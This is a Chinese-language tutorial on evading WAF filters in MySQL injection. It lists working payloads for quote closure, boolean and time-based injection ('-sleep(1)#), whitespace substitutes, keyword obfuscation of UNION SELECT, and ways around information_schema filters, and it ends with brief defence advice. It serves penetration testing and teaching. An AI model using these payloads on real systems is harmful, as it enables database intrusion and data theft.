千方百技第六期|MySQL注入绕过思路分享
字数 704 2025-08-11 08:36:00
MySQL注入绕过思路详解
一、构造闭合基础
MySQL注入的第一步是构造正确的SQL语句闭合,主要分为两种方式:
-
逃逸字符:
- 单双引号(' 或 ")
- 数字型注入不需要逃逸字符
- 复杂SQL可能需要括号等辅助闭合
-
注释字符:
- 用于闭合后面的原始字符
- 常用注释符:
#、--(注意空格)、/* */
示例闭合:
' OR 1=1# -- 对前面单引号闭合,并注释掉后面内容
二、连接字符技术
连接字符可直接在后面紧跟着执行函数,绕过WAF检测:
有效连接字符
& MOD and or not div + -
示例对比
'sleep(1)# -- 执行失败
'-sleep(1)# -- 执行成功(减号作为连接字符)
特殊连接字符特性
select-1; -- 正常执行
SELECT-1; -- 正常执行
SELECT+1; -- 正常执行
三、空格绕过技术
1. 完全替代空格的字符
09 (Tab)
0A (换行)
0B (垂直制表符)
0C (换页)
0D (回车)
A0 (不换行空格)
20 (普通空格)
/u0020 (Unicode空格)
2. 部分替代空格的字符
() + - @ !
示例
select(1)
select'',1
select-1
select@1
select!1
特殊限制场景
以下情况无法使用替代字符:
into outfile
limit 1,1
四、关键字绕过技术
1. 混淆绕过
-
使用官方语法混淆:
union all select -
添加脏数据:
/*大量随机注释*/union select -
大小写混合:
UniOn SeLeCt -
使用括号:
union(select) -
特殊字符分隔:
union%0dselect
2. 等效替代
-
使用DISTINCT:
union DISTINCT select -
使用其他功能相同的SQL语法
五、实际绕过案例
案例1:绕过UNION SELECT拦截
-- 原始被拦截语句
union select 1,2,3 from information_schema.tables
-- 绕过方式1
union/*xxxx*/select 1,2,3 from information_schema.tables
-- 绕过方式2
UnIoN SeLeCt 1,2,3 from information_schema.tables
-- 绕过方式3
union all select 1,2,3 from information_schema.tables
案例2:绕过information_schema过滤
-- 原始被拦截语句
select table_name from information_schema.tables
-- 绕过方式1
select table_name from `information_schema`.tables
-- 绕过方式2
select table_name from mysql.innodb_table_stats
六、综合绕过思路
- 确定注入点闭合方式:先测试单引号、双引号等闭合方式
- 测试连接字符:尝试使用
+、-等连接符绕过基础检测 - 处理空格限制:使用替代字符或编码绕过空格过滤
- 混淆关键字:对关键SQL指令进行大小写、注释等混淆
- 寻找等效语法:使用功能相同但写法不同的SQL语法
- 逐步测试:从简单到复杂,逐步测试各种绕过技术
七、防御建议
- 使用参数化查询或预编译语句
- 对用户输入进行严格过滤和转义
- 限制数据库用户权限
- 使用WAF但注意更新规则
- 定期进行安全测试和代码审计
通过系统性地理解和应用这些绕过技术,可以更有效地测试和防护SQL注入漏洞。